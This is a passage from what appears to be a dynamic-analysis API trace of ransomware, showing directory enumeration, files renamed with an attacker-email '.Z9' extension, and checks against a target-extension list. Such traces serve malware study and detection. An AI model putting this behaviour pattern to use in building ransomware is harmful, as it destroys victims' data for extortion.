	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366110ca, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366110ca, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36637446, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RO11D0~1.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36637446, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36637446, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366a9a0c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RO7773~1.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3665dc05, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3665dc05, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366a9a0c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SAVEIC~1.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3669095a, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3669095a, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366cfc4b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPI~1.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366a9a0c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366a9a0c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366f5ec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="STOPIC~1.Z9")) returned 1
	[0160.580] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366a9a0c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366a9a0c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x366f5ec5, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SYSREQ~1.Z9")) returned 1
	[0160.581] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366cfc4b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366cfc4b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36b6e653, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SYSREQ~2.Z9")) returned 1
	[0160.581] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366f5ec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366f5ec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3671c25d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WARNIC~1.Z9")) returned 1
	[0160.581] FindNextFileW (in: hFindFile=0x76eae8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x366f5ec5, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x366f5ec5, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3671c25d, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WARNIC~1.Z9")) returned 0
	[0160.581] FindClose (in: hFindFile=0x76eae8 | out: hFindFile=0x76eae8) returned 1
	[0160.582] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0160.582] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a170c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a170c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a170c0, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="HEADER~1.Z9")) returned 1
	[0160.582] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x38dffe1c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~1.Z9")) returned 1
	[0160.582] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x37c45061, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~2.Z9")) returned 1
	[0160.582] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3697e795, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3697e795, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36e1d14a, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~3.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x397af68b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NETFX_~4.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x374ab83e, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x374ab83e, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x379c5384, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NEE5AD~1.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37a08d75, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37a08d75, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37cdd9a9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="NECA6D~1.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a170c0, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a170c0, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a3d384, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="PARAME~1.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c6b274, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c6b274, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c6b274, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RGB9RA~1.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37c95712, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37c95712, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x37c95712, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="RGB9RA~2.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37cb7670, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37cb7670, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38024cf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPE~1.Z9")) returned 1
	[0160.583] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x37d03ffe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x37d03ffe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x380bd639, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPE~2.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38024cf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38024cf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3804ae08, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPU~2.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a636b7, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a636b7, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a636b7, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPU~1.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x380711c3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x380711c3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x385f3dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SETUPU~3.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36a89917, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36a89917, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36a89917, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SPLASH~1.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3861a0b2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3861a0b2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3861a0b2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="SQMAPI~1.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36aafb1b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36aafb1b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36aafb1b, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x37fa, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Strings.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="STRING~1.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36aafb1b, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36aafb1b, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36fc098c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x98e8, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="UIINFO~1.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x36cc5c07, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x36cc5c07, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x36cc5c07, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1977e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WATERM~1.Z9")) returned 1
	[0160.584] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x3a0a0201, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x5b5241, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~1.Z9")) returned 1
	[0160.585] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x39a73d07, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2d764e, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~2.Z9")) returned 1
	[0160.585] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x3a243d16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x59b2fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~3.Z9")) returned 1
	[0160.585] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3a243d16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~4.Z9")) returned 1
	[0160.585] FindNextFileW (in: hFindFile=0x76ed68, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0x3a243d16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2cae27, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[help.me24@protonmail.com].Z9", cAlternateFileName="WINDOW~4.Z9")) returned 0
	[0160.585] FindClose (in: hFindFile=0x76ed68 | out: hFindFile=0x76ed68) returned 1
	[0160.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3fe2738 | out: hHeap=0x710000) returned 1
	[0160.585] FindNextFileW (in: hFindFile=0x76e7e8, lpFindFileData=0x372fcf8 | out: lpFindFileData=0x372fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77b70000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0160.585] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3fe2738
	[0160.585] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0160.586] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0160.587] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0160.587] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0160.587] lstrlenW (lpString="BCD.LOG") returned 7
	[0160.587] lstrlenW (lpString=".1cd") returned 4
	[0160.587] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0160.587] lstrlenW (lpString=".3ds") returned 4
	[0160.587] lstrcmpiW (lpString1=".3ds", lpString2=".LOG") returned -1
	[0160.587] lstrlenW (lpString=".3fr") returned 4
	[0160.587] lstrcmpiW (lpString1=".3fr", lpString2=".LOG") returned -1
	[0160.587] lstrlenW (lpString=".3g2") returned 4
	[0160.587] lstrcmpiW (lpString1=".3g2", lpString2=".LOG") returned -1
	[0160.587] lstrlenW (lpString=".3gp") returned 4
	[0160.587] lstrcmpiW (lpString1=".3gp", lpString2=".LOG") returned -1
	[0160.587] lstrlenW (lpString=".7z") returned 3
	[0160.587] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0160.587] lstrlenW (lpString=".accda") returned 6
	[0160.587] lstrcmpiW (lpString1=".accda", lpString2="CD.LOG") returned -1
	[0160.587] lstrlenW (lpString=".accdb") returned 6
	[0160.587] lstrcmpiW (lpString1=".accdb", lpString2="CD.LOG") returned -1
	[0160.587] lstrlenW (lpString=".accdc") returned 6
	[0160.588] lstrcmpiW (lpString1=".accdc", lpString2="CD.LOG") returned -1
	[0160.588] lstrlenW (lpString=".accde") returned 6
	[0160.588] lstrcmpiW (lpString1=".accde", lpString2="CD.LOG") returned -1
	[0160.588] lstrlenW (lpString=".accdt") returned 6
	[0160.588] lstrcmpiW (lpString1=".accdt", lpString2="CD.LOG") returned -1
	[0160.588] lstrlenW (lpString=".accdw") returned 6
	[0160.588] lstrcmpiW (lpString1=".accdw", lpString2="CD.LOG") returned -1
	[0160.588] lstrlenW (lpString=".adb") returned 4
	[0160.588] lstrcmpiW (lpString1=".adb", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".adp") returned 4
	[0160.588] lstrcmpiW (lpString1=".adp", lpString2=".LOG") returned -1
	[0160.588] lstrlenW (lpString=".ai") returned 3
	[0160.588] lstrcmpiW (lpString1=".ai", lpString2="LOG") returned -1
